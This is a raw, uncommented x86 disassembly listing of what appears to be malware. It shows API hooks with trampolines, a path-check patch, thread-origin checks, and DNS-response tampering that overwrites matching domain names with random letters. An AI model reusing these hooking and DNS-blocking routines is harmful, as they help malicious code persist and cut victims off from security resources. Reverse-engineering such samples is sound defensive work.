MultiByteStr	= byte ptr -328h
Str2		= word ptr -224h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

		push	32Ch
		push	offset stru_9A2878
		call	__SEH_prolog
		mov	eax, dword_9B8788
		xor	eax, ebp
		mov	[ebp+var_1C], eax
		xor	esi, esi
		mov	[ebp+var_334], esi
		mov	[ebp+ms_exc.disabled], esi
		push	104h		; cchWideChar
		lea	eax, [ebp+Str2]
		push	eax		; lpWideCharStr
		push	0FFFFFFFFh	; cbMultiByte
		lea	eax, [ebp+MultiByteStr]
		push	eax		; lpMultiByteStr
		push	esi		; dwFlags
		push	esi		; CodePage
		call	MultiByteToWideChar
		test	eax, eax
		jz	loc_9A521E
		mov	[ebp+var_33C], esi
		mov	[ebp+var_338], 80004005h
		mov	[ebp+var_32C], esi
		lea	edi, [ebp+var_32C]
		call	sub_9A4C0F
		mov	[ebp+var_338], eax
		cmp	[ebp+var_32C], esi
		jz	short loc_9A5203
		mov	[ebp+var_330], esi
		xor	edi, edi
		inc	edi


loc_9A51CB:				; CODE XREF: sub_9A514A+B7j
		cmp	[ebp+var_330], 14h
		jge	short loc_9A5203
		lea	eax, [ebp+Str2]
		push	eax		; Str2
		mov	eax, [ebp+var_32C]
		call	sub_9A4E45
		pop	ecx
		mov	[ebp+var_33C], eax
		cmp	eax, esi
		jl	short loc_9A5203
		mov	[ebp+var_334], edi
		cmp	eax, edi
		jz	short loc_9A5203
		inc	[ebp+var_330]
		jmp	short loc_9A51CB
; ---------------------------------------------------------------------------


loc_9A5203:				; CODE XREF: sub_9A514A+76j
					; sub_9A514A+88j ...
		push	[ebp+var_338]
		mov	eax, [ebp+var_32C]
		call	sub_9A4C8D
		pop	ecx
		jmp	short loc_9A521E
; ---------------------------------------------------------------------------


loc_9A5217:				; DATA XREF: .text:stru_9A2878o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_9A521B:				; DATA XREF: .text:stru_9A2878o
		mov	esp, [ebp+ms_exc.old_esp]


loc_9A521E:				; CODE XREF: sub_9A514A+43j
					; sub_9A514A+CBj
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		mov	eax, [ebp+var_334]
		mov	ecx, [ebp+var_1C]
		xor	ecx, ebp
		call	sub_9AAAC1
		call	__SEH_epilog
		retn
sub_9A514A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=78h


sub_9A5238	proc near		; CODE XREF: sub_9AE400+32p
					; sub_9B6504:loc_9B1FE5p

VersionInformation= _OSVERSIONINFOA ptr	-0A0h
var_C		= word ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		lea	ebp, [esp-78h]
		sub	esp, 0A0h
		mov	eax, dword_9B8788
		xor	eax, ebp
		mov	[ebp+78h+var_4], eax
		lea	eax, [ebp+78h+VersionInformation]
		push	eax		; lpVersionInformation
		mov	[ebp+78h+VersionInformation.dwOSVersionInfoSize], 9Ch
		call	GetVersionExA
		test	eax, eax
		jz	short loc_9A5292
		xor	eax, eax
		cmp	[ebp+78h+VersionInformation.dwMajorVersion], 5
		jb	short loc_9A5294
		inc	eax
		cmp	[ebp+78h+VersionInformation.dwMajorVersion], 5
		jnz	short loc_9A5294
		cmp	[ebp+78h+VersionInformation.dwMinorVersion], 0
		jz	short loc_9A5292
		cmp	[ebp+78h+VersionInformation.dwMinorVersion], eax
		jnz	short loc_9A5285
		cmp	[ebp+78h+var_C], 2
		jnb	short loc_9A5294
		jmp	short loc_9A5292
; ---------------------------------------------------------------------------


loc_9A5285:				; CODE XREF: sub_9A5238+42j
		cmp	[ebp+78h+VersionInformation.dwMinorVersion], 2
		jnz	short loc_9A5294
		cmp	[ebp+78h+var_C], 0
		jnz	short loc_9A5294


loc_9A5292:				; CODE XREF: sub_9A5238+28j
					; sub_9A5238+3Dj ...
		xor	eax, eax


loc_9A5294:				; CODE XREF: sub_9A5238+30j
					; sub_9A5238+37j ...
		mov	ecx, [ebp+78h+var_4]
		xor	ecx, ebp
		call	sub_9AAAC1
		add	ebp, 78h
		leave
		retn
sub_9A5238	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9A52A3(wchar_t *Str)

sub_9A52A3	proc near		; CODE XREF: sub_9A52FE+Fp

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
Str		= dword	ptr  8

		push	0Ch
		push	offset stru_9A2890
		call	__SEH_prolog
		mov	[ebp+var_1C], 1
		xor	esi, esi
		mov	[ebp+ms_exc.disabled], esi
		cmp	[ebp+Str], esi
		jz	short loc_9A52F1
		push	offset a__	; "\\..\\"
		push	[ebp+Str]	; Str
		call	wcsstr
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_9A52E5
		push	[ebp+Str]	; Str
		call	wcslen
		pop	ecx
		cmp	eax, 0C8h
		jbe	short loc_9A52F1


loc_9A52E5:				; CODE XREF: sub_9A52A3+2Fj
		mov	[ebp+var_1C], esi
		jmp	short loc_9A52F1
; ---------------------------------------------------------------------------


loc_9A52EA:				; DATA XREF: .text:stru_9A2890o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_9A52EE:				; DATA XREF: .text:stru_9A2890o
		mov	esp, [ebp+ms_exc.old_esp]


loc_9A52F1:				; CODE XREF: sub_9A52A3+1Bj
					; sub_9A52A3+40j ...
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		mov	eax, [ebp+var_1C]
		call	__SEH_epilog
		retn
sub_9A52A3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_9A52FE(wchar_t *Str,int,int,int,int,int)

sub_9A52FE	proc near		; DATA XREF: sub_9A5B0F+1o

Str		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		cmp	dword_9BB2E8, 0
		jz	short loc_9A5322
		push	[ebp+Str]	; Str
		call	sub_9A52A3
		test	eax, eax
		pop	ecx
		jz	short loc_9A5322
		mov	eax, dword_9BB2E8
		add	eax, 4
		pop	ebp
		jmp	eax
; ---------------------------------------------------------------------------


loc_9A5322:				; CODE XREF: sub_9A52FE+Aj
					; sub_9A52FE+17j
		push	57h		; dwErrCode
		call	SetLastError
		push	57h
		pop	eax
		pop	ebp
		retn	18h
sub_9A52FE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A5331	proc near		; CODE XREF: sub_9A535E+3Ep

ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	8
		push	offset stru_9A28A0
		call	__SEH_prolog
		mov	eax, [ebp+arg_0]
		and	[ebp+ms_exc.disabled], 0
		mov	cl, [eax]
		or	cl, 70h
		mov	[eax], cl
		jmp	short loc_9A5354
; ---------------------------------------------------------------------------


loc_9A534D:				; DATA XREF: .text:stru_9A28A0o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_9A5351:				; DATA XREF: .text:stru_9A28A0o
		mov	esp, [ebp+ms_exc.old_esp]


loc_9A5354:				; CODE XREF: sub_9A5331+1Aj
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	__SEH_epilog
		retn
sub_9A5331	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A535E	proc near		; DATA XREF: sub_9A5B2E+1o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	eax, dword_9BB2EC
		test	eax, eax
		jz	short loc_9A53A7
		push	esi
		push	[ebp+arg_10]
		add	eax, 4
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	eax
		cmp	[ebp+arg_4], 22h
		mov	esi, eax
		jnz	short loc_9A53A2
		cmp	[ebp+arg_0], 0FFFFFFFFh
		jnz	short loc_9A53A2
		cmp	[ebp+arg_8], 0
		jz	short loc_9A53A2
		cmp	[ebp+arg_C], 0
		jz	short loc_9A53A2
		push	[ebp+arg_8]
		call	sub_9A5331
		pop	ecx


loc_9A53A2:				; CODE XREF: sub_9A535E+27j
					; sub_9A535E+2Dj ...
		mov	eax, esi
		pop	esi
		jmp	short loc_9A53AA
; ---------------------------------------------------------------------------


loc_9A53A7:				; CODE XREF: sub_9A535E+Aj
		push	57h
		pop	eax


loc_9A53AA:				; CODE XREF: sub_9A535E+47j
		pop	ebp
		retn	14h
sub_9A535E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9A53AE(char *lpFirst)

sub_9A53AE	proc near		; CODE XREF: sub_9A53E9+Fp

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
lpFirst		= dword	ptr  8

		push	0Ch
		push	offset stru_9A28B0
		call	__SEH_prolog
		xor	eax, eax
		mov	[ebp+var_1C], eax
		mov	[ebp+ms_exc.disabled], eax
		cmp	[ebp+lpFirst], eax
		jz	short loc_9A53DC
		push	[ebp+lpFirst]	; lpFirst
		call	sub_9A3FB6
		pop	ecx
		mov	[ebp+var_1C], eax
		jmp	short loc_9A53DC
; ---------------------------------------------------------------------------


loc_9A53D5:				; DATA XREF: .text:stru_9A28B0o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_9A53D9:				; DATA XREF: .text:stru_9A28B0o
		mov	esp, [ebp+ms_exc.old_esp]


loc_9A53DC:				; CODE XREF: sub_9A53AE+17j
					; sub_9A53AE+25j
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		mov	eax, [ebp+var_1C]
		call	__SEH_epilog
		retn
sub_9A53AE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_9A53E9(char	*lpFirst,int,int,int,int,int)

sub_9A53E9	proc near		; DATA XREF: sub_9A5B4D+5o

lpFirst		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		cmp	dword_9BB2F0, 0
		jz	short loc_9A540D
		push	[ebp+lpFirst]	; lpFirst
		call	sub_9A53AE
		test	eax, eax
		pop	ecx
		jnz	short loc_9A540D
		mov	eax, dword_9BB2F0
		add	eax, 4
		pop	ebp
		jmp	eax
; ---------------------------------------------------------------------------


loc_9A540D:				; CODE XREF: sub_9A53E9+Aj
					; sub_9A53E9+17j
		push	5B4h		; dwErrCode
		call	SetLastError
		mov	eax, 5B4h
		pop	ebp
		retn	18h
sub_9A53E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9A5421(LPCSTR	lpMultiByteStr)

sub_9A5421	proc near		; CODE XREF: sub_9A54C1+Fp

var_320		= dword	ptr -320h
WideCharStr	= word ptr -31Ch
First		= byte ptr -11Ch
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
lpMultiByteStr	= dword	ptr  8

		push	310h
		push	offset stru_9A28C0
		call	__SEH_prolog
		mov	eax, dword_9B8788
		xor	eax, ebp
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+lpMultiByteStr]
		xor	edi, edi
		mov	[ebp+var_320], edi
		mov	[ebp+ms_exc.disabled], edi
		cmp	eax, edi
		jz	short loc_9A54A7
		mov	esi, 100h
		push	esi		; cchWideChar
		lea	ecx, [ebp+WideCharStr]
		push	ecx		; lpWideCharStr
		push	0FFFFFFFFh	; cbMultiByte
		push	eax		; lpMultiByteStr
		push	edi		; dwFlags
		push	0FDE9h		; CodePage
		call	MultiByteToWideChar
		test	eax, eax
		jz	short loc_9A54A7
		push	edi		; lpUsedDefaultChar
		push	edi		; lpDefaultChar
		push	esi		; cbMultiByte
		lea	eax, [ebp+First]
		push	eax		; lpMultiByteStr
		push	0FFFFFFFFh	; cchWideChar
		lea	eax, [ebp+WideCharStr]
		push	eax		; lpWideCharStr
		push	edi		; dwFlags
		push	edi		; CodePage
		call	WideCharToMultiByte
		test	eax, eax
		jz	short loc_9A54A7
		lea	eax, [ebp+First]
		push	eax		; lpFirst
		call	sub_9A3FB6
		pop	ecx
		mov	[ebp+var_320], eax
		jmp	short loc_9A54A7
; ---------------------------------------------------------------------------


loc_9A54A0:				; DATA XREF: .text:stru_9A28C0o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_9A54A4:				; DATA XREF: .text:stru_9A28C0o
		mov	esp, [ebp+ms_exc.old_esp]


loc_9A54A7:				; CODE XREF: sub_9A5421+29j
					; sub_9A5421+49j ...
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		mov	eax, [ebp+var_320]
		mov	ecx, [ebp+var_1C]
		xor	ecx, ebp
		call	sub_9AAAC1
		call	__SEH_epilog
		retn
sub_9A5421	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_9A54C1(LPCSTR lpMultiByteStr,int,int,int,int,int)

sub_9A54C1	proc near		; DATA XREF: sub_9A5B4D+1Fo

lpMultiByteStr	= dword	ptr  8

		push	ebp
		mov	ebp, esp
		cmp	dword_9BB2F4, 0
		jz	short loc_9A54E5
		push	[ebp+lpMultiByteStr] ; lpMultiByteStr
		call	sub_9A5421
		test	eax, eax
		pop	ecx
		jnz	short loc_9A54E5
		mov	eax, dword_9BB2F4
		add	eax, 4
		pop	ebp
		jmp	eax
; ---------------------------------------------------------------------------


loc_9A54E5:				; CODE XREF: sub_9A54C1+Aj
					; sub_9A54C1+17j
		push	5B4h		; dwErrCode
		call	SetLastError
		mov	eax, 5B4h
		pop	ebp
		retn	18h
sub_9A54C1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A54F9	proc near		; CODE XREF: sub_9A556B+Fp

var_120		= dword	ptr -120h
First		= byte ptr -11Ch
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

		push	110h
		push	offset stru_9A28D0
		call	__SEH_prolog
		mov	eax, dword_9B8788
		xor	eax, ebp
		mov	[ebp+var_1C], eax
		xor	eax, eax
		mov	[ebp+ms_exc.disabled], eax
		cmp	ecx, eax
		jz	short loc_9A5554
		push	eax		; lpUsedDefaultChar
		push	eax		; lpDefaultChar
		push	100h		; cbMultiByte
		lea	edx, [ebp+First]
		push	edx		; lpMultiByteStr
		push	0FFFFFFFFh	; cchWideChar
		push	ecx		; lpWideCharStr
		push	eax		; dwFlags
		push	eax		; CodePage
		call	WideCharToMultiByte
		test	eax, eax
		jz	short loc_9A5554
		lea	eax, [ebp+First]
		push	eax		; lpFirst
		call	sub_9A3FB6
		pop	ecx
		mov	[ebp+var_120], eax
		jmp	short loc_9A5554
; ---------------------------------------------------------------------------


loc_9A554D:				; DATA XREF: .text:stru_9A28D0o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_9A5551:				; DATA XREF: .text:stru_9A28D0o
		mov	esp, [ebp+ms_exc.old_esp]


loc_9A5554:				; CODE XREF: sub_9A54F9+20j
					; sub_9A54F9+3Dj ...
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		xor	eax, eax
		inc	eax
		mov	ecx, [ebp+var_1C]
		xor	ecx, ebp
		call	sub_9AAAC1
		call	__SEH_epilog
		retn
sub_9A54F9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A556B	proc near		; DATA XREF: sub_9A5B4D+36o

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		cmp	dword_9BB2F8, 0
		jz	short loc_9A558E
		mov	ecx, [ebp+arg_0]
		call	sub_9A54F9
		test	eax, eax
		jnz	short loc_9A558E
		mov	eax, dword_9BB2F8
		add	eax, 4
		pop	ebp
		jmp	eax
; ---------------------------------------------------------------------------


loc_9A558E:				; CODE XREF: sub_9A556B+Aj
					; sub_9A556B+16j
		push	5B4h		; dwErrCode
		call	SetLastError
		mov	eax, 5B4h
		pop	ebp
		retn	18h
sub_9A556B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A55A2	proc near		; CODE XREF: .text:009A5630p

var_120		= dword	ptr -120h
First		= byte ptr -11Ch
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

		push	110h
		push	offset stru_9A28E0
		call	__SEH_prolog
		mov	eax, dword_9B8788
		xor	eax, ebp
		mov	[ebp+var_1C], eax
		xor	eax, eax
		mov	[ebp+var_120], eax
		mov	[ebp+ms_exc.disabled], eax
		cmp	ecx, eax
		jz	short loc_9A5609
		mov	ecx, [ecx]
		cmp	ecx, eax
		jz	short loc_9A5609
		push	eax		; lpUsedDefaultChar
		push	eax		; lpDefaultChar
		push	100h		; cbMultiByte
		lea	edx, [ebp+First]
		push	edx		; lpMultiByteStr
		push	0FFFFFFFFh	; cchWideChar
		push	ecx		; lpWideCharStr
		push	eax		; dwFlags
		push	eax		; CodePage
		call	WideCharToMultiByte
		test	eax, eax
		jz	short loc_9A5609
		lea	eax, [ebp+First]
		push	eax		; lpFirst
		call	sub_9A3FB6
		pop	ecx
		mov	[ebp+var_120], eax
		jmp	short loc_9A5609
; ---------------------------------------------------------------------------


loc_9A5602:				; DATA XREF: .text:stru_9A28E0o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_9A5606:				; DATA XREF: .text:stru_9A28E0o
		mov	esp, [ebp+ms_exc.old_esp]


loc_9A5609:				; CODE XREF: sub_9A55A2+26j
					; sub_9A55A2+2Cj ...
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		mov	eax, [ebp+var_120]
		mov	ecx, [ebp+var_1C]
		xor	ecx, ebp
		call	sub_9AAAC1
		call	__SEH_epilog
		retn
sub_9A55A2	endp

; ---------------------------------------------------------------------------


loc_9A5623:				; DATA XREF: sub_9A5B4D+4Do
		cmp	dword_9BB2FC, 0
		jz	short loc_9A5643
		mov	ecx, [esp+4]
		call	sub_9A55A2
		test	eax, eax
		jnz	short loc_9A5643
		mov	eax, dword_9BB2FC
		add	eax, 4
		jmp	eax
; ---------------------------------------------------------------------------


loc_9A5643:				; CODE XREF: .text:009A562Aj
					; .text:009A5637j
		push	5B4h
		call	SetLastError
		mov	eax, 5B4h
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A5656	proc near		; CODE XREF: sub_9A58BD+12p
					; sub_9A58F0+2Cp

var_248		= dword	ptr -248h
var_244		= dword	ptr -244h
Dst		= dword	ptr -240h
var_22C		= dword	ptr -22Ch
var_228		= dword	ptr -228h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	238h
		push	offset stru_9A28F0
		call	__SEH_prolog
		mov	eax, dword_9B8788
		xor	eax, ebp
		mov	[ebp+var_1C], eax
		xor	ebx, ebx
		mov	[ebp+var_244], ebx
		mov	[ebp+ms_exc.disabled], ebx
		call	GetCurrentProcessId
		push	eax		; th32ProcessID
		push	8		; dwFlags
		call	CreateToolhelp32Snapshot
		mov	edi, eax
		mov	[ebp+var_248], edi
		cmp	edi, 0FFFFFFFFh
		jz	short loc_9A570F
		mov	esi, 224h
		push	esi		; Size
		push	ebx		; Val
		lea	eax, [ebp+Dst]
		push	eax		; Dst
		call	memset
		add	esp, 0Ch
		mov	[ebp+Dst], esi
		lea	eax, [ebp+Dst]
		push	eax		; lpme
		push	edi		; hSnapshot
		call	Module32First
		jmp	short loc_9A56FB
; ---------------------------------------------------------------------------


loc_9A56C0:				; CODE XREF: sub_9A5656+A7j
		mov	eax, [ebp+var_22C]
		cmp	[ebp+arg_0], eax
		jb	short loc_9A56EE
		mov	ecx, [ebp+var_228]
		add	ecx, eax
		cmp	[ebp+arg_0], ecx
		jnb	short loc_9A56EE
		cmp	[ebp+arg_4], ebx
		jz	short loc_9A56E2
		cmp	eax, [ebp+arg_4]
		jnz	short loc_9A56EE


loc_9A56E2:				; CODE XREF: sub_9A5656+85j
		mov	[ebp+var_244], 1
		jmp	short loc_9A56FF
; ---------------------------------------------------------------------------


loc_9A56EE:				; CODE XREF: sub_9A5656+73j
					; sub_9A5656+80j ...
		lea	eax, [ebp+Dst]
		push	eax		; lpme
		push	edi		; hSnapshot
		call	Module32Next


loc_9A56FB:				; CODE XREF: sub_9A5656+68j
		test	eax, eax
		jnz	short loc_9A56C0


loc_9A56FF:				; CODE XREF: sub_9A5656+96j
		push	edi		; hObject
		call	CloseHandle
		jmp	short loc_9A570F
; ---------------------------------------------------------------------------


loc_9A5708:				; DATA XREF: .text:stru_9A28F0o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_9A570C:				; DATA XREF: .text:stru_9A28F0o
		mov	esp, [ebp+ms_exc.old_esp]


loc_9A570F:				; CODE XREF: sub_9A5656+3Dj
					; sub_9A5656+B0j
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		mov	eax, [ebp+var_244]
		mov	ecx, [ebp+var_1C]
		xor	ecx, ebp
		call	sub_9AAAC1
		call	__SEH_epilog
		retn
sub_9A5656	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A5729	proc near		; CODE XREF: sub_9A57C1+7Ap

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	18h
		push	offset stru_9A2900
		call	__SEH_prolog
		xor	edi, edi
		mov	[ebp+var_24], edi
		mov	[ebp+ms_exc.disabled], edi
		mov	esi, [ebp+arg_0]
		add	esi, 0Ch
		mov	[ebp+var_1C], esi


loc_9A5746:				; CODE XREF: sub_9A5729+95j
		mov	[ebp+var_20], edi


loc_9A5749:				; CODE XREF: sub_9A5729+8Bj
		cmp	edi, [ebp+arg_C]
		jnb	short loc_9A5762
		mov	al, [esi]
		test	al, al
		jnz	short loc_9A5774
		mov	[ebp+var_24], 1
		mov	eax, [ebp+arg_8]
		mov	byte ptr [edi+eax], 0


loc_9A5762:				; CODE XREF: sub_9A5729+23j
					; sub_9A5729+5Dj ...
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	nullsub_3
		mov	eax, [ebp+var_24]
		call	__SEH_epilog
		retn
; ---------------------------------------------------------------------------


loc_9A5774:				; CODE XREF: sub_9A5729+29j
		movsx	ebx, al
		mov	[ebp+var_28], ebx
		inc	esi
		mov	[ebp+var_1C], esi
		mov	eax, esi
		sub	eax, [ebp+arg_0]
		cmp	eax, [ebp+arg_4]
		jnb	short loc_9A5762
		push	ebx		; Size
		push	esi		; Src
		mov	eax, [ebp+arg_8]
		add	eax, edi
		push	eax		; Dst
		call	memcpy
		add	esp, 0Ch
		add	esi, ebx
		mov	[ebp+var_1C], esi
		add	edi, ebx
		mov	[ebp+var_20], edi
		cmp	edi, [ebp+arg_C]
		jnb	short loc_9A5762
		mov	eax, esi
		sub	eax, [ebp+arg_0]
		cmp	eax, [ebp+arg_4]
		jnb	short loc_9A5762
		cmp	byte ptr [esi],	0
		jz	short loc_9A5749
		mov	eax, [ebp+arg_8]
		mov	byte ptr [edi+eax], 2Eh
		inc	edi
		jmp	short loc_9A5746
sub_9A5729	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A57C1	proc near		; CODE XREF: sub_9A58BD+23p

var_12C		= dword	ptr -12Ch
var_128		= dword	ptr -128h
var_124		= dword	ptr -124h
First		= byte ptr -120h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

		push	11Ch
		push	offset stru_9A2910
		call	__SEH_prolog
		mov	eax, dword_9B8788
		xor	eax, ebp
		mov	[ebp+var_1C], eax
		mov	esi, edx
		xor	edi, edi
		mov	[ebp+ms_exc.disabled], edi
		mov	[ebp+var_128], esi
		mov	al, [esi+2]
		test	al, 78h
		jnz	loc_9A58A9
		test	al, 1
		jz	loc_9A58A9
		cmp	[esi+6], di
		jnz	loc_9A58A9
		cmp	[esi+8], di
		jnz	loc_9A58A9
		cmp	[esi+0Ah], di
		jnz	loc_9A58A9
		cmp	byte ptr [esi+ecx-5], 0
		jnz	loc_9A58A9
		cmp	dword ptr [esi+ecx-4], 1000100h
		jnz	short loc_9A58A9
		push	104h
		lea	eax, [ebp+First]
		push	eax
		push	ecx
		push	esi
		call	sub_9A5729
		add	esp, 10h
		test	eax, eax
		jz	short loc_9A58A9
		lea	eax, [ebp+First]
		push	eax		; lpFirst
		call	sub_9A3FB6
		pop	ecx
		test	eax, eax
		jz	short loc_9A58A9
		lea	eax, [ebp+First]
		push	eax		; Str
		call	strlen
		pop	ecx
		mov	ebx, eax
		mov	[ebp+var_12C], ebx
		mov	[ebp+var_124], edi


loc_9A5873:				; CODE XREF: sub_9A57C1+DAj
		cmp	[ebp+var_124], ebx
		jnb	short loc_9A589D
		call	rand
		xor	edx, edx
		push	1Ah
		pop	ecx
		div	ecx
		add	edx, 61h
		mov	eax, [ebp+var_124]
		mov	[esi+eax+0Dh], dl
		inc	[ebp+var_124]
		jmp	short loc_9A5873
; ---------------------------------------------------------------------------


loc_9A589D:				; CODE XREF: sub_9A57C1+B8j
		mov	[esi+0Ch], bl
		jmp	short loc_9A58A9
; ---------------------------------------------------------------------------


loc_9A58A2:				; DATA XREF: .text:stru_9A2910o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_9A58A6:				; DATA XREF: .text:stru_9A2910o
		mov	esp, [ebp+ms_exc.old_esp]


loc_9A58A9:				; CODE XREF: sub_9A57C1+2Bj
					; sub_9A57C1+33j ...
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		mov	ecx, [ebp+var_1C]
		xor	ecx, ebp
		call	sub_9AAAC1
		call	__SEH_epilog
		retn
sub_9A57C1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A58BD	proc near		; DATA XREF: sub_9A5BCD+16o

arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 12h
		jl	short loc_9A58E5
		push	dword_9BB308
		push	dword ptr [ebp+4]
		call	sub_9A5656
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_9A58E5
		mov	ecx, [ebp+arg_8]
		mov	edx, [ebp+arg_4]
		call	sub_9A57C1


loc_9A58E5:				; CODE XREF: sub_9A58BD+7j
					; sub_9A58BD+1Bj
		mov	eax, dword_9BB300
		add	eax, 4
		pop	ebp
		jmp	eax
sub_9A58BD	endp


; =============== S U B	R O U T	I N E =======================================



sub_9A58F0	proc near		; DATA XREF: sub_9A58F0+2o
					; sub_9A5C69+1o
		xor	eax, eax
		cmp	eax, offset sub_9A58F0
		jnz	short loc_9A58FD
		inc	eax
		retn	8
; ---------------------------------------------------------------------------


loc_9A58FD:				; CODE XREF: sub_9A58F0+7j
		mov	eax, dword_9BB0CC
		test	eax, eax
		mov	ecx, [esp+0]
		jz	short loc_9A5919
		cmp	ecx, eax
		jb	short loc_9A5919
		mov	edx, dword_9BB0D0
		add	edx, eax
		cmp	ecx, edx
		jb	short loc_9A592E


loc_9A5919:				; CODE XREF: sub_9A58F0+17j
					; sub_9A58F0+1Bj
		push	0
		push	ecx
		call	sub_9A5656
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_9A592E
		push	eax		; dwExitCode
		call	ExitThread
; ---------------------------------------------------------------------------


loc_9A592E:				; CODE XREF: sub_9A58F0+27j
					; sub_9A58F0+35j
		mov	eax, dword_9BB304
		add	eax, 4
		jmp	eax
sub_9A58F0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9A5938(void *Dst)

sub_9A5938	proc near		; CODE XREF: sub_9A5A91+59p

var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
flOldProtect	= dword	ptr -38h
var_34		= dword	ptr -34h
nPriority	= dword	ptr -30h
hThread		= dword	ptr -2Ch
lpAddress	= dword	ptr -28h
Src		= byte ptr -24h
var_23		= dword	ptr -23h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
Dst		= dword	ptr  8

		push	38h
		push	offset stru_9A2920
		call	__SEH_prolog
		mov	eax, dword_9B8788
		xor	eax, ebp
		mov	[ebp+var_1C], eax
		mov	ebx, ecx
		mov	[ebp+lpAddress], ebx
		mov	edi, edx
		mov	esi, [ebp+Dst]
		and	[ebp+var_34], 0
		call	GetCurrentThread
		mov	[ebp+hThread], eax
		push	eax		; hThread
		call	GetThreadPriority
		mov	[ebp+nPriority], eax
		and	[ebp+ms_exc.disabled], 0
		push	2Ch		; Size
		push	0		; Val
		push	esi		; Dst
		call	memset
		add	esp, 0Ch
		mov	[esi+28h], edi
		mov	[esi+24h], ebx
		mov	[ebp+var_3C], ebx
		xor	ebx, ebx
		mov	[ebp+var_44], ebx
		mov	[ebp+var_48], 5


loc_9A5995:				; CODE XREF: sub_9A5938+ACj
		cmp	ebx, 5
		jge	short loc_9A59F1
		mov	eax, [ebp+var_3C]
		add	eax, ebx
		push	eax
		call	sub_9AA660
		mov	[ebp+var_40], eax
		lea	ecx, [esi+ebx+4]
		push	eax		; Size
		mov	eax, [ebp+var_3C]
		add	eax, ebx
		push	eax		; Src
		push	ecx		; Dst
		call	memcpy
		add	esp, 10h
		mov	al, [esi+ebx+4]
		mov	cl, al
		and	cl, 0FEh
